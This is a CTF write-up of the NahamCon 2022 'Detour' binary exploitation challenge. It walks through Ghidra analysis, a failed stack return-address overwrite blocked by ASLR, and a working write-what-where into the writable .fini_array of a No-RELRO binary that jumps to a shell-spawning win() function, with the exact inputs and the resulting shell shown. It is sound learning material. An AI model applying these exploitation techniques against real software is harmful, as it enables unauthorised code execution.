NahamCon 2022 - Detour
Intro
Of the many categories with challenges presented at NahamCon2022 CTF, binary exploitation is one of them. I was very interested in working on this category because a) I'm pretty inexperienced at it and b) I feel I have some pretty good debugging skills on C and assembly, so I would be comfortable looking through the low level code.
Taking a Look
The first thing to do is to take a look at the materials provided. In this challenge, one can download a binary and/or connect to a remote service (that runs said binary). So after downloading detour
, let's take a look at what we've got.
$ file detour
detour: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=af4c8eacd5103d70965126396d4348dabfe23896, for GNU/Linux 3.2.0, not stripped
Ok, so a 64 bit ELF file, our system is 64 bit, so we could run it locally if we want to (but first, let's take a look deeper and make sure we at least have a sense of what it's doing. Chances are low that it is malicious because this is supposed to be for fun, but running an unknown executable is probably not a good habit.)
Using Ghidra - Enter the Dragon
Explaining how to use Ghidra is both beyond the scope of this article and my capabilities. I recommend The Ghidra Book: The Definitive Guide by No Starch Press. Luckily this challenge is listed as "easy" so we can get by poking around like an amateur.
main
After setting up the project and running analysis on the binary, it's pretty easy to start at the main
function.
The main()
function is pretty straightforward, and matches what one might expect from the challenge description:
write-what-where as a service! Now how do I detour away from the intended path of execution?
It does all the hard work of a binary exploit for us. Namely writing a user supplied value at a user supplied location in memory. Nice. We may also take notice of the __stack_chk_fail()
which appears to be the implementation of stack overwrite protection, at least in so far as it checks to make sure the local (stack) variable in_FS_OFFSET
is not overwritten.
Ghidra let's you rename variables as you manually analyze the code, which I've done here, naming one local value
(for what) and another offset
for (where). We can double check the reading of these values, which use scanf
by looking at the read only data, .rodata
for the format strings.
So the program reads a value as an unsigned size_t
"%zu" and offset
as a long
"%ld". It then adds offset
to to the address of base
, which is defined in the .bss
section at the address 0x403430
.
Finding an Opening
So what's the plan? How about we overwrite the return address left on the stack to jump to somewhere interesting? "But what about that stack check at the end of main()
"? you might be wondering. Well it only checks that specifically one location in the stack is not overwritten, at the address separating local variables to whatever was pushed to the stack before the function call (like the return address). Since we can accurately target writing 4 bytes (the size of a size_t
on this platform), we can avoid altering that sentinel value.
win
There is a clear and glaring (remember, this challenge is "easy") way to win. It's a function called win()
that calls system("/bin/sh")
spawning a shell.
win()
is located at 0x401209
, so if we calculate the offset from base
to there, and we convert that to decimal, we can poke the address of win()
into the stack, and when main()
returns, it will jump to there and we win. The location we want to write to is on the stack where the return address is stored: 0x00007FFFFFFFDEE8
0x00007FFFFFFFDEE8 - 0x403430 = 0x7FFFFFBFAAB8 (140737484139192)
Works on My Machine (tm)
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000000000000000 RBX: 0x00000000004012D0 RCX: 0x0000000000000000 RDX: 0x00007FFFFFFFDEE8 o d I t s Z a P c
RSI: 0x00007FFFFFBFAAB8 RDI: 0x00007FFFFFFFD980 RBP: 0x0000000000000000 RSP: 0x00007FFFFFFFDEF0 RIP: 0x0000000000401209
R8 : 0x000000000000000A R9 : 0x0000000000000000 R10: 0x00007FFFF7F51AC0 R11: 0x00007FFFF7F523C0 R12: 0x00000000004010F0
R13: 0x0000000000000000 R14: 0x0000000000000000 R15: 0x0000000000000000
CS: 0033 DS: 0000 ES: 0000 FS: 0000 GS: 0000 SS: 002B
[0x002B:0x00007FFFFFFFDEF0]-------------------------------------------------------------------------------------------[stack]
0x00007FFFFFFFDF40 : EF D5 26 A0 E3 FE 97 BD - EF D5 AA 32 A3 EE 97 BD ..&........2....
0x00007FFFFFFFDF30 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
0x00007FFFFFFFDF20 : F0 10 40 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ..@.............
0x00007FFFFFFFDF10 : D0 12 40 00 00 00 00 00 - EF D5 C6 1D 1C 01 68 42 ..@...........hB
0x00007FFFFFFFDF00 : 20 12 40 00 00 00 00 00 - 09 E3 FF FF FF 7F 00 00 .@.............
0x00007FFFFFFFDEF0 : D8 DF FF FF FF 7F 00 00 - 00 A0 FC F7 01 00 00 00 ................
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x401209 <win>: endbr64
0x40120d <win+4>: push rbp
0x40120e <win+5>: mov rbp,rsp
0x401211 <win+8>: lea rdi,[rip+0xdec] # 0x402004
0x401218 <win+15>: call 0x4010b0 <system@plt>
0x40121d <win+20>: nop
0x40121e <win+21>: pop rbp
0x40121f <win+22>: ret
-----------------------------------------------------------------------------------------------------------------------------
0x0000000000401209 in win ()
gdb$ c
Continuing.
[Detaching after vfork from child process 5667]
$
Ok, it "works", but we have a sneaking suspicion that these magic numbers are not reliable. We can confirm this by connecting to the actual challenge:
nc <challenge IP> <challenge port>
and... yeah no dice. I suspect ASLR (Address Space Layout Randomization)
Checking In
One of the great things about this CTF is that the challenge writers were hanging out, on and off, in a discord channel. I reached out to the developer and confirmed my suspicion. They asked me two very helpful questions, which sent me on my way to the next step:
ASLR is enabled on the server
We won't be able to solve this challenge this way because the location of the stack is going to be randomized.
What are the binary protections returned when you run checksec?
So I run that (I learned a new tool!):
$ checksec --file=detour
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 73) Symbols No 0 1 detour
and then
Have you ever seen No RELRO before?
I had not, so off to Google I go, and read about RELRO. This nice article on Hardening ELF binaries using Relocation Read-Only (RELRO) spells it all out. The article details how RELRO hardens against a technique that works around ASLR, but this binary is NORELRO, so it doesn't have this protection in place.
GOT PLT?
The tl;dr on this technique will be to overwrite an entry which is a pointer to a function that will be executed after our write via value
and offset
. The article uses examples of external functions that get fixed up in a "lazy" fashion when they are first used. RELRO protects against malicious code overwriting these values by fixing them all up at start up, and then marking the section as READ ONLY. So we just need to find a function called after our input that we can write the address of win()
to. There are not the usual stdlib functions like printf
, scanf
etc called after our input, so what is there?.
Aha, __do_global_dtor_aux()
. I believe "dtor" is short for "destructor" which should do cleanup code. It's called automatically as the program is cleaning up to exit.
We can find an entry for the address of this function in the .fini.array
section, which will not be set to READ ONLY:
So the calculate the offset from base
:
0x4031c8 - 0x403430 = -616
and use that as the offset
input.
Solution
$ nc <challenge host> <challenge port>
What: 4198921
Where: -616
whoami
challenge
ls
bin
detour
dev
etc
flag.txt
lib
lib32
lib64
libx32
usr
cat flag.txt
flag{<redacted>}
A Final Joke / Hint
I only realized after the challenge, that there is another joke/hint within the challenge. Since we ended up overwriting __do_global_dtors_aux()
, you could pronounce "dtor" as "detour" :slightly-smiling-face:
Parting Thought
I'd like to do this challenge again, using pwntools, in order to learn how that works, but I'm not sure I'll have time before the CTF infrastructure is dismantled.